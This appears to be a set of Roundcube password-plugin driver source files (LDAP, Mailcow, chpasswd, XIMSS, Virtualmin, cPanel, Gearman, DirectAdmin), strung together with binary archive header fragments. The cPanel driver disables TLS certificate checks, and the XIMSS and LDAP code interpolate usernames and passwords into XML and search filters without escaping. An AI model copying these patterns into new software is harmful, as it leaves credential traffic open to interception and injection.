 * require PEAR's Net_LDAP2 to be installed
 *
 * @version 2.1
 * @author Wout Decre <wout@canodus.be>
 * @author Aleksander Machniak <machniak@kolabsys.com>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_ldap_simple_password
{
    protected $debug = false;
    protected $user;
    protected $conn;


    public function save($curpass, $passwd)
    {
        $rcmail = rcmail::get_instance();

        $lchattr      = $rcmail->config->get('password_ldap_lchattr');
        $pwattr       = $rcmail->config->get('password_ldap_pwattr', 'userPassword');
        $smbpwattr    = $rcmail->config->get('password_ldap_samba_pwattr');
        $smblchattr   = $rcmail->config->get('password_ldap_samba_lchattr');
        $samba        = $rcmail->config->get('password_ldap_samba');
        $pass_mode    = $rcmail->config->get('password_ldap_encodage', 'md5-crypt');
        $crypted_pass = password::hash_password($passwd, $pass_mode);

        // Support password_ldap_samba option for backward compat.
        if ($samba && !$smbpwattr) {
            $smbpwattr  = 'sambaNTPassword';
            $smblchattr = 'sambaPwdLastSet';
        }

        // Crypt new password
        if (!$crypted_pass) {
            return PASSWORD_CRYPT_ERROR;
        }

        // Crypt new Samba password
        if ($smbpwattr && !($samba_pass = password::hash_password($passwd, 'samba'))) {
            return PASSWORD_CRYPT_ERROR;
        }

        // Connect and bind
        $ret = $this->connect($curpass);
        if ($ret !== true) {
            return $ret;
        }

        $entry[$pwattr] = $crypted_pass;

        // Update PasswordLastChange Attribute if desired
        if ($lchattr) {
            $entry[$lchattr] = (int)(time() / 86400);
        }

        // Update Samba password
        if ($smbpwattr) {
            $entry[$smbpwattr] = $samba_pass;
        }

        // Update Samba password last change
        if ($smblchattr) {
            $entry[$smblchattr] = time();
        }

        $this->_debug("C: Modify {$this->user}: " . print_r($entry, true));

        if (!ldap_modify($this->conn, $this->user, $entry)) {
            $this->_debug("S: ".ldap_error($this->conn));

            $errno = ldap_errno($this->conn);

            ldap_unbind($this->conn);

            if ($errno == 0x13) {
                return PASSWORD_CONSTRAINT_VIOLATION;
            }

            return PASSWORD_CONNECT_ERROR;
        }

        $this->_debug("S: OK");

        // All done, no error
        ldap_unbind($this->conn);

        return PASSWORD_SUCCESS;
    }

    /**
     * Connect and bind to LDAP server
     */
    function connect($curpass)
    {
        $rcmail = rcmail::get_instance();

        $this->debug = $rcmail->config->get('ldap_debug');
        $ldap_host   = $rcmail->config->get('password_ldap_host', 'localhost');
        $ldap_port   = $rcmail->config->get('password_ldap_port', '389');
        $ldap_uri    = $this->_host2uri($ldap_host, $ldap_port);

        $this->_debug("C: Connect [{$ldap_uri}]");

        // Connect
        if (!($ds = ldap_connect($ldap_uri))) {
            $this->_debug("S: NOT OK");

            rcube::raise_error([
                    'code' => 100, 'type' => 'ldap',
                    'file' => __FILE__, 'line' => __LINE__,
                    'message' => "Could not connect to LDAP server"
                ],
                true
            );

            return PASSWORD_CONNECT_ERROR;
        }

        $this->_debug("S: OK");

        // Set protocol version
        ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION,
            $rcmail->config->get('password_ldap_version', '3'));

        // Start TLS
        if ($rcmail->config->get('password_ldap_starttls')) {
            if (!ldap_start_tls($ds)) {
                ldap_unbind($ds);
                return PASSWORD_CONNECT_ERROR;
            }
        }

        // other plugins might want to modify user DN
        $plugin = $rcmail->plugins->exec_hook('password_ldap_bind',
            ['user_dn' => '', 'conn' => $ds]
        );

        // Build user DN
        if (!empty($plugin['user_dn'])) {
            $user_dn = $plugin['user_dn'];
        }
        else if ($user_dn = $rcmail->config->get('password_ldap_userDN_mask')) {
            $user_dn = self::substitute_vars($user_dn);
        }
        else {
            $user_dn = $this->search_userdn($rcmail, $ds);
        }

        if (empty($user_dn)) {
            ldap_unbind($ds);
            return PASSWORD_CONNECT_ERROR;
        }

        // Connection method
        switch ($rcmail->config->get('password_ldap_method')) {
        case 'admin':
            $binddn = $rcmail->config->get('password_ldap_adminDN');
            $bindpw = $rcmail->config->get('password_ldap_adminPW');
            break;
        case 'user':
        default:
            $binddn = $user_dn;
            $bindpw = $curpass;
            break;
        }

        $this->_debug("C: Bind $binddn, pass: **** [" . strlen($bindpw) . "]");

        // Bind
        if (!ldap_bind($ds, $binddn, $bindpw)) {
            $this->_debug("S: ".ldap_error($ds));

            ldap_unbind($ds);

            return PASSWORD_CONNECT_ERROR;
        }

        $this->_debug("S: OK");

        $this->conn = $ds;
        $this->user = $user_dn;

        return true;
    }

    /**
     * Bind with searchDN and searchPW and search for the user's DN
     * Use search_base and search_filter defined in config file
     * Return the found DN
     */
    function search_userdn($rcmail, $ds)
    {
        $search_user   = $rcmail->config->get('password_ldap_searchDN');
        $search_pass   = $rcmail->config->get('password_ldap_searchPW');
        $search_base   = $rcmail->config->get('password_ldap_search_base');
        $search_filter = $rcmail->config->get('password_ldap_search_filter');

        if (empty($search_filter)) {
            return false;
        }

        $this->_debug("C: Bind " . ($search_user ? $search_user : '[anonymous]'));

        // Bind
        if (!ldap_bind($ds, $search_user, $search_pass)) {
            $this->_debug("S: ".ldap_error($ds));
            return false;
        }

        $this->_debug("S: OK");

        $search_base   = self::substitute_vars($search_base);
        $search_filter = self::substitute_vars($search_filter);

        $this->_debug("C: Search $search_base for $search_filter");

        // Search for the DN
        if (!($sr = ldap_search($ds, $search_base, $search_filter))) {
            $this->_debug("S: ".ldap_error($ds));
            return false;
        }

        $found = ldap_count_entries($ds, $sr);

        $this->_debug("S: OK [found $found records]");

        // If no or more entries were found, return false
        if ($found != 1) {
            return false;
        }

        return ldap_get_dn($ds, ldap_first_entry($ds, $sr));
    }

    /**
     * Substitute %login, %name, %domain, %dc in $str
     * See plugin config for details
     */
    public static function substitute_vars($str)
    {
        $str = str_replace('%login', $_SESSION['username'], $str);
        $str = str_replace('%l', $_SESSION['username'], $str);

        $parts = explode('@', $_SESSION['username']);

        if (count($parts) == 2) {
            $dc = 'dc='.strtr($parts[1], ['.' => ',dc=']); // hierarchal domain string

            $str = str_replace('%name', $parts[0], $str);
            $str = str_replace('%n', $parts[0], $str);
            $str = str_replace('%dc', $dc, $str);
            $str = str_replace('%domain', $parts[1], $str);
            $str = str_replace('%d', $parts[1], $str);
        }
        else if (count($parts) == 1) {
            $str = str_replace('%name', $parts[0], $str);
            $str = str_replace('%n', $parts[0], $str);
        }

        return $str;
    }

    /**
     * Prints debug info to the log
     */
    protected function _debug($str)
    {
        if ($this->debug) {
            rcube::write_log('ldap', $str);
        }
    }

    /**
     * Convert LDAP host/port into URI
     */
    private static function _host2uri($host, $port = null)
    {
        if (stripos($host, 'ldapi://') === 0) {
            return $host;
        }

        if (strpos($host, '://') === false) {
            $host = ($port == 636 ? 'ldaps' : 'ldap') . '://' . $host;
        }

        if ($port && !preg_match('/:[0-9]+$/', $host)) {
            $host .= ':' . $port;
        }

        return $host;
    }
}
PKh�\�f���	�	$plugins/password/drivers/mailcow.phpnu�[���<?php

/**
 * Mailcow Password Driver
 *
 * @version 1.0
 * @author Lukas "Hexaris" Matula <hexaris@gbely.net>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 *
 * It is necessary to set the following variables in plugin/password/config.inc.php
 * $config['password_driver'] = 'mailcow';
 * $config['password_mailcow_api_host'] = '';
 * $config['password_mailcow_api_token'] = '';
  */

class rcube_mailcow_password
{
    function save($curpass, $passwd, $username)
    {
        $rcmail = rcmail::get_instance();

        $host  = $rcmail->config->get('password_mailcow_api_host');
        $token = $rcmail->config->get('password_mailcow_api_token');

        try {
            $client = password::get_http_client();

            $headers = [
                'X-API-Key' => $token,
                'accept'    => 'application/json'
            ];

            $cowdata = [
                'attr' => [
                    'password'  => $passwd,
                    'password2' => $passwd
                ],
                'items' => [ $username ]
            ];

            if (!strpos($host, '://')) {
                $host = "https://{$host}";
            }

            $response = $client->post("{$host}/api/v1/edit/mailbox", [
                'headers' => $headers,
                'json'    => $cowdata
            ]);

            $cowreply = json_decode($response->getBody(),true);

            if ($cowreply[0]['type'] == 'success') {
                return PASSWORD_SUCCESS;
            }

            return PASSWORD_ERROR;
        }
        catch (Exception $e) {
            $result = $e->getMessage();
        }

        rcube::raise_error([
                'code' => 600, 'file' => __FILE__, 'line' => __LINE__,
                'message' => "Password plugin: Problem with Mailcow API: $result",
            ],
            true, false
        );

        return PASSWORD_CONNECT_ERROR;
    }
}
PKh�\��;;%plugins/password/drivers/chpasswd.phpnu�[���<?php

/**
 * chpasswd driver
 *
 * Driver that adds functionality to change the systems user password via
 * the 'chpasswd' command.
 *
 * For installation instructions please read the README file.
 *
 * @version 2.0
 * @author Alex Cartwright <acartwright@mutinydesign.co.uk>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_chpasswd_password
{
    public function save($currpass, $newpass, $username)
    {
        $cmd = rcmail::get_instance()->config->get('password_chpasswd_cmd');

        $handle = popen($cmd, "w");
        fwrite($handle, "$username:$newpass\n");

        if (pclose($handle) == 0) {
            return PASSWORD_SUCCESS;
        }

        rcube::raise_error([
                'code' => 600,
                'file' => __FILE__,
                'line' => __LINE__,
                'message' => "Password plugin: Unable to execute $cmd"
            ], true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\��(?--#plugins/password/drivers/zxcvbn.phpnu�[���<?php

/**
 * Zxcvb Password Strength Driver
 *
 * Driver to check password strength using Zxcvbn-PHP
 *
 * @version 0.1
 * @author Philip Weir
 *
 * Copyright (C) Philip Weir
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_zxcvbn_password
{
    function strength_rules()
    {
        $rcmail = rcmail::get_instance();
        $rules  = [
            $rcmail->gettext('password.passwordnoseq'),
            $rcmail->gettext('password.passwordnocommon'),
        ];

        return $rules;
    }

    /**
     * Password strength check
     *
     * @param string $passwd Password
     *
     * @return array Score (1 to 5) and Reason
     */
    function check_strength($passwd)
    {
        if (!class_exists('ZxcvbnPhp\Zxcvbn')) {
            rcube::raise_error([
                    'code' => 600,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "Password plugin: Zxcvbn library not found."
                ], true, false
            );

            return;
        }

        $zxcvbn   = new ZxcvbnPhp\Zxcvbn();
        $strength = $zxcvbn->passwordStrength($passwd);

        return [$strength['score'] + 1, $strength['feedback']['warning']];
    }
}
PKh�\Ɋ�&(("plugins/password/drivers/ximss.phpnu�[���<?php
/**
 * Communigate driver for the Password Plugin for Roundcube 
 *
 * Tested with Communigate Pro 5.1.2
 *
 * Configuration options:
 *   password_ximss_host - Host name of Communigate server
 *   password_ximss_port - XIMSS port on Communigate server
 *
 * References:
 *   http://www.communigate.com/WebGuide/XMLAPI.html
 *
 * @version 2.0
 * @author Erik Meitner <erik wanderings.us>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_ximss_password
{
    function save($pass, $newpass, $username)
    {
        $rcmail = rcmail::get_instance();

        $host = $rcmail->config->get('password_ximss_host');
        $port = $rcmail->config->get('password_ximss_port');
        $sock = stream_socket_client("tcp://$host:$port", $errno, $errstr, 30);

        if ($sock === false) {
            return PASSWORD_CONNECT_ERROR;
        }

        // send all requests at once(pipelined)
        fwrite($sock, '<login id="A001" authData="'.$username.'" password="'.$pass.'" />'."\0");
        fwrite($sock, '<passwordModify id="A002" oldPassword="'.$pass.'" newPassword="'.$newpass.'"  />'."\0");
        fwrite($sock, '<bye id="A003" />'."\0");

  //example responses
  //  <session id="A001" urlID="4815-vN2Txjkggy7gjHRD10jw" userName="user@example.com"/>\0
  //  <response id="A001"/>\0
  //  <response id="A002"/>\0
  //  <response id="A003"/>\0
  // or an error:
  //  <response id="A001" errorText="incorrect password or account name" errorNum="515"/>\0

        $responseblob = '';
        while (!feof($sock)) {
            $responseblob .= fgets($sock, 1024);
        }

        fclose($sock);

        foreach (explode( "\0", $responseblob) as $response) {
            $resp = simplexml_load_string("<xml>".$response."</xml>");
            $id = $resp && !empty($resp->response[0]['id']) ? $resp->response[0]['id'] : null;

            if ($id == 'A001') {
                if (isset($resp->response[0]['errorNum'])) {
                    return PASSWORD_CONNECT_ERROR;
                }
            }
            else if ($id == 'A002') {
                if (isset($resp->response[0]['errorNum'])) {
                    return PASSWORD_ERROR;
                }
            }
            else if ($id == 'A003') {
                if (isset($resp->response[0]['errorNum'])) {
                    // There was a problem during logout (This is probably harmless)
                }
            }
        }

        return PASSWORD_SUCCESS;
    }
}
PKh�\`��V
V
'plugins/password/drivers/virtualmin.phpnu�[���<?php

/**
 * Virtualmin Password Driver
 *
 * Driver that adds functionality to change the users Virtualmin password.
 * The code is derived from the Squirrelmail "Change Cyrus/SASL Password" Plugin
 * by Thomas Bruederli.
 *
 * It only works with virtualmin on the same host where Roundcube runs
 * and requires shell access and gcc in order to compile the binary.
 *
 * @version 3.0
 * @author Martijn de Munnik
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_virtualmin_password
{
    function save($currpass, $newpass, $username)
    {
        $curdir   = RCUBE_PLUGINS_DIR . 'password/helpers';
        $username = escapeshellarg($username);

        // Get the domain using virtualmin CLI:
        exec("$curdir/chgvirtualminpasswd list-domains --mail-user $username --name-only", $output_domain, $returnvalue);

        if ($returnvalue == 0 && count($output_domain) == 1) {
            $domain = trim($output_domain[0]);
        }
        else {
            rcube::raise_error([
                    'code' => 600,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "Password plugin: Unable to execute $curdir/chgvirtualminpasswd "
                        . "or domain for mail-user '$username' not known to Virtualmin"
                ], true, false
            );

            return PASSWORD_ERROR;
        }

        $domain  = escapeshellarg($domain);
        $newpass = escapeshellarg($newpass);

        exec("$curdir/chgvirtualminpasswd modify-user --domain $domain --user $username --pass $newpass", $output, $returnvalue);

        if ($returnvalue == 0) {
            return PASSWORD_SUCCESS;
        }

        rcube::raise_error([
                'code' => 600,
                'file' => __FILE__,
                'line' => __LINE__,
                'message' => "Password plugin: Unable to execute $curdir/chgvirtualminpasswd"
            ], true, false
        );

        return PASSWORD_ERROR;
    }
}
PKh�\	�d��#plugins/password/drivers/cpanel.phpnu�[���<?php

/**
 * cPanel Password Driver
 *
 * It uses Cpanel's Webmail UAPI to change the users password.
 *
 * This driver has been tested successfully with Digital Pacific hosting.
 *
 * @author Maikel Linke <maikel@email.org.au>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_cpanel_password
{
    /**
     * Changes the user's password. It is called by password.php.
     * See "Driver API" README and password.php for the interface details.
     *
     * @param string $curpas  Current (old) password
     * @param string $newpass New password
     *
     * @return int|array Error code or assoc array with 'code' and 'message', see
     *                   "Driver API" README and password.php
     */
    public function save($curpas, $newpass)
    {
        $url     = self::url();
        $user    = password::username();
        $userpwd = "$user:$curpas";
        $data    = [
            'email'    => password::username('%l'),
            'password' => $newpass
        ];

        $response = $this->curl_auth_post($userpwd, $url, $data);

        return self::decode_response($response);
    }

    /**
     * Provides the UAPI URL of the Email::passwd_pop function.
     *
     * @return string HTTPS URL
     */
    public static function url()
    {
        $config       = rcmail::get_instance()->config;
        $storage_host = $_SESSION['storage_host'];

        $host = $config->get('password_cpanel_host', $storage_host);
        $port = $config->get('password_cpanel_port', 2096);

        return "https://$host:$port/execute/Email/passwd_pop";
    }

    /**
     * Converts a UAPI response to a password driver response.
     *
     * @param string $response JSON response by the Cpanel UAPI
     *
     * @return mixed Response code or array, see <code>save</code>
     */
    public static function decode_response($response)
    {
        if (!$response) {
            return PASSWORD_CONNECT_ERROR;
        }

        // $result should be `null` or `stdClass` object
        $result = json_decode($response);

        // The UAPI may return HTML instead of JSON on missing authentication
        if ($result && isset($result->status) && $result->status === 1) {
            return PASSWORD_SUCCESS;
        }

        if ($result && !empty($result->errors) && is_array($result->errors)) {
            return [
                'code'    => PASSWORD_ERROR,
                'message' => $result->errors[0],
            ];
        }

        return PASSWORD_ERROR;
    }

    /**
     * Post data to the given URL using basic authentication.
     *
     * Example:
     *
     * <code>
     * curl_auth_post('john:Secr3t', 'https://example.org', [
     *     'param' => 'value',
     *     'param' => 'value'
     * ]);
     * </code>
     *
     * @param string $userpwd  User name and password separated by a colon
     *                         <code>:</code>
     * @param string $url      The URL to post data to
     * @param array  $postdata The data to post
     *
     * @return string|false The body of the reply, False on error
     */
    private function curl_auth_post($userpwd, $url, $postdata)
    {
        $ch = curl_init();
        $postfields = http_build_query($postdata, '', '&');

        // see http://php.net/manual/en/function.curl-setopt.php
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_BUFFERSIZE, 131072);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $postfields);
        curl_setopt($ch, CURLOPT_USERPWD, $userpwd);

        $result = curl_exec($ch);
        $error  = curl_error($ch);
        curl_close($ch);

        if ($result === false) {
            rcube::raise_error("curl error: $error", true, false);
        }

        return $result;
    }
}
PKh�\TU���!plugins/password/drivers/ldap.phpnu�[���<?php

/**
 * LDAP Password Driver
 *
 * Driver for passwords stored in LDAP
 * This driver use the PEAR Net_LDAP2 class (http://pear.php.net/package/Net_LDAP2).
 *
 * @version 2.0
 * @author Edouard MOREAU <edouard.moreau@ensma.fr>
 *
 * method hashPassword based on code from the phpLDAPadmin development team (http://phpldapadmin.sourceforge.net/).
 * method randomSalt based on code from the phpLDAPadmin development team (http://phpldapadmin.sourceforge.net/).
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_ldap_password
{
    public function save($curpass, $passwd)
    {
        $rcmail = rcmail::get_instance();
        require_once 'Net/LDAP2.php';
        require_once __DIR__ . '/ldap_simple.php';

        // Building user DN
        if ($userDN = $rcmail->config->get('password_ldap_userDN_mask')) {
            $userDN = rcube_ldap_simple_password::substitute_vars($userDN);
        }
        else {
            $userDN = $this->search_userdn($rcmail);
        }

        if (empty($userDN)) {
            return PASSWORD_CONNECT_ERROR;
        }

        // Connection Method
        switch ($rcmail->config->get('password_ldap_method')) {
            case 'admin':
                $binddn = $rcmail->config->get('password_ldap_adminDN');
                $bindpw = $rcmail->config->get('password_ldap_adminPW');
                break;
            case 'user':
            default:
                $binddn = $userDN;
                $bindpw = $curpass;
                break;
        }

        // Configuration array
        $ldapConfig = [
            'binddn'    => $binddn,
            'bindpw'    => $bindpw,
            'basedn'    => $rcmail->config->get('password_ldap_basedn'),
            'host'      => $rcmail->config->get('password_ldap_host', 'localhost'),
            'port'      => $rcmail->config->get('password_ldap_port', '389'),
            'starttls'  => $rcmail->config->get('password_ldap_starttls'),
            'version'   => $rcmail->config->get('password_ldap_version', '3'),
        ];

        // Connecting using the configuration array
        $ldap = Net_LDAP2::connect($ldapConfig);

        // Checking for connection error
        if (is_a($ldap, 'PEAR_Error')) {
            return PASSWORD_CONNECT_ERROR;
        }

        $force        = $rcmail->config->get('password_ldap_force_replace', true);
        $pwattr       = $rcmail->config->get('password_ldap_pwattr', 'userPassword');
        $lchattr      = $rcmail->config->get('password_ldap_lchattr');
        $smbpwattr    = $rcmail->config->get('password_ldap_samba_pwattr');
        $smblchattr   = $rcmail->config->get('password_ldap_samba_lchattr');
        $samba        = $rcmail->config->get('password_ldap_samba');
        $encodage     = $rcmail->config->get('password_ldap_encodage', 'md5-crypt');

        // Support multiple userPassword values where desired.
        // multiple encodings can be specified separated by '+' (e.g. "cram-md5+ssha")
        $encodages    = explode('+', $encodage);
        $crypted_pass = [];

        foreach ($encodages as $enc) {
            if ($cpw = password::hash_password($passwd, $enc)) {
                $crypted_pass[] = $cpw;
            }
        }

        // Support password_ldap_samba option for backward compat.
        if ($samba && !$smbpwattr) {
            $smbpwattr  = 'sambaNTPassword';
            $smblchattr = 'sambaPwdLastSet';
        }

        // Crypt new password
        if (empty($crypted_pass)) {
            return PASSWORD_CRYPT_ERROR;
        }

        // Crypt new samba password
        if ($smbpwattr && !($samba_pass = password::hash_password($passwd, 'samba'))) {
            return PASSWORD_CRYPT_ERROR;
        }

        // Writing new crypted password to LDAP
        $userEntry = $ldap->getEntry($userDN);
        if (Net_LDAP2::isError($userEntry)) {
            return PASSWORD_CONNECT_ERROR;
        }

        if (!$userEntry->replace([$pwattr => $crypted_pass], $force)) {
            return PASSWORD_CONNECT_ERROR;
        }

        // Updating PasswordLastChange Attribute if desired
        if ($lchattr) {
            $current_day = (int) (time() / 86400);
            if (!$userEntry->replace([$lchattr => $current_day], $force)) {
                return PASSWORD_CONNECT_ERROR;
            }
        }

        // Update Samba password and last change fields
        if ($smbpwattr) {
            $userEntry->replace([$smbpwattr => $samba_pass], $force);
        }
        // Update Samba password last change field
        if ($smblchattr) {
            $userEntry->replace([$smblchattr => time()], $force);
        }

        if (Net_LDAP2::isError($userEntry->update())) {
            return PASSWORD_CONNECT_ERROR;
        }

        // All done, no error
        return PASSWORD_SUCCESS;
    }

    /**
     * Bind with searchDN and searchPW and search for the user's DN.
     * Use search_base and search_filter defined in config file.
     * Return the found DN.
     */
    function search_userdn($rcmail)
    {
        $binddn = $rcmail->config->get('password_ldap_searchDN');
        $bindpw = $rcmail->config->get('password_ldap_searchPW');

        $ldapConfig = [
            'basedn'    => $rcmail->config->get('password_ldap_basedn'),
            'host'      => $rcmail->config->get('password_ldap_host', 'localhost'),
            'port'      => $rcmail->config->get('password_ldap_port', '389'),
            'starttls'  => $rcmail->config->get('password_ldap_starttls'),
            'version'   => $rcmail->config->get('password_ldap_version', '3'),
        ];

        // allow anonymous searches
        if (!empty($binddn)) {
            $ldapConfig['binddn'] = $binddn;
            $ldapConfig['bindpw'] = $bindpw;
        }

        $ldap = Net_LDAP2::connect($ldapConfig);

        if (is_a($ldap, 'PEAR_Error')) {
            return '';
        }

        $base   = rcube_ldap_simple_password::substitute_vars($rcmail->config->get('password_ldap_search_base'));
        $filter = rcube_ldap_simple_password::substitute_vars($rcmail->config->get('password_ldap_search_filter'));
        $options = [
            'scope' => 'sub',
            'attributes' => [],
        ];

        $result = $ldap->search($base, $filter, $options);

        if (is_a($result, 'PEAR_Error') || ($result->count() != 1)) {
            $ldap->done();
            return '';
        }

        $userDN = $result->current()->dn();
        $ldap->done();

        return $userDN;
    }
}
PKh�\n����$plugins/password/drivers/gearman.phpnu�[���<?php

/**
 * Gearman Password Driver
 *
 * Payload is json string containing username, oldPassword and newPassword
 * Return value is a json string saying result: true if success.
 *
 * @version 1.0
 * @author Mohammad Anwari <mdamt@mdamt.net>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_gearman_password
{
    function save($currpass, $newpass, $username)
    {
        if (extension_loaded('gearman')) {
            $rcmail  = rcmail::get_instance();
            $payload = [
                'username'    => $username,
                'oldPassword' => $currpass,
                'newPassword' => $newpass,
            ];

            $gmc = new GearmanClient();
            $gmc->addServer($rcmail->config->get('password_gearman_host', 'localhost'));

            $result  = $gmc->doNormal('setPassword', json_encode($payload));
            $success = json_decode($result);

            if ($success && $success->result == 1) {
                return PASSWORD_SUCCESS;
            }

            rcube::raise_error([
                    'code' => 600,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "Password plugin: Gearman authentication failed for user $username"
                ], true, false
            );
        }
        else {
            rcube::raise_error([
                    'code' => 600,
                    'file' => __FILE__,
                    'line' => __LINE__,
                    'message' => "Password plugin: PECL Gearman module not loaded"
                ], true, false
            );
        }

        return PASSWORD_ERROR;
    }
}
PKh�\��/��4�4(plugins/password/drivers/directadmin.phpnu�[���<?php

/**
 * DirectAdmin Password Driver
 *
 * Driver to change passwords via DirectAdmin Control Panel
 *
 * @version 2.2
 * @author Victor Benincasa <vbenincasa @ gmail.com>
 *
 * Copyright (C) The Roundcube Dev Team
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see http://www.gnu.org/licenses/.
 */

class rcube_directadmin_password
{
    public function save($curpass, $passwd)
    {
        $rcmail = rcmail::get_instance();
        $Socket = new HTTPSocket;

        $da_user    = $_SESSION['username'];
        $da_curpass = $curpass;
        $da_newpass = $passwd;
        $da_host    = $rcmail->config->get('password_directadmin_host');
        $da_port    = $rcmail->config->get('password_directadmin_port');

        if (strpos($da_user, '@') === false) {
            return ['code' => PASSWORD_ERROR, 'message' => 'Change the SYSTEM user password through control panel!'];
        }

        $da_host = str_replace('%h', $_SESSION['imap_host'], $da_host);
        $da_host = str_replace('%d', $rcmail->user->get_username('domain'), $da_host);

        $Socket->connect($da_host,$da_port); 
        $Socket->set_method('POST');
        $Socket->query('/CMD_CHANGE_EMAIL_PASSWORD', [
                'email'         => $da_user,
                'oldpassword'   => $da_curpass,
                'password1'     => $da_newpass,
                'password2'     => $da_newpass,
                'api'           => '1'
        ]);

        $response = $Socket->fetch_parsed_body();

        //DEBUG
        //rcube::console("Password Plugin: [USER: $da_user] [HOST: $da_host] - Response: [SOCKET: ".$Socket->result_status_code."] [DA ERROR: ".strip_tags($response['error'])."] [TEXT: ".$response[text]."]");

        if ($Socket->result_status_code != 200) {
            return ['code' => PASSWORD_CONNECT_ERROR, 'message' => $Socket->error[0]];
        }

        if ($response['error'] == 1) {
            return ['code' => PASSWORD_ERROR, 'message' => strip_tags($response['text'])];
        }

        return PASSWORD_SUCCESS;
    }
}


/**
 * Socket communication class.
 *
 * Originally designed for use with DirectAdmin's API, this class will fill any HTTP socket need.
 *
 * Very, very basic usage:
 *   $Socket = new HTTPSocket;
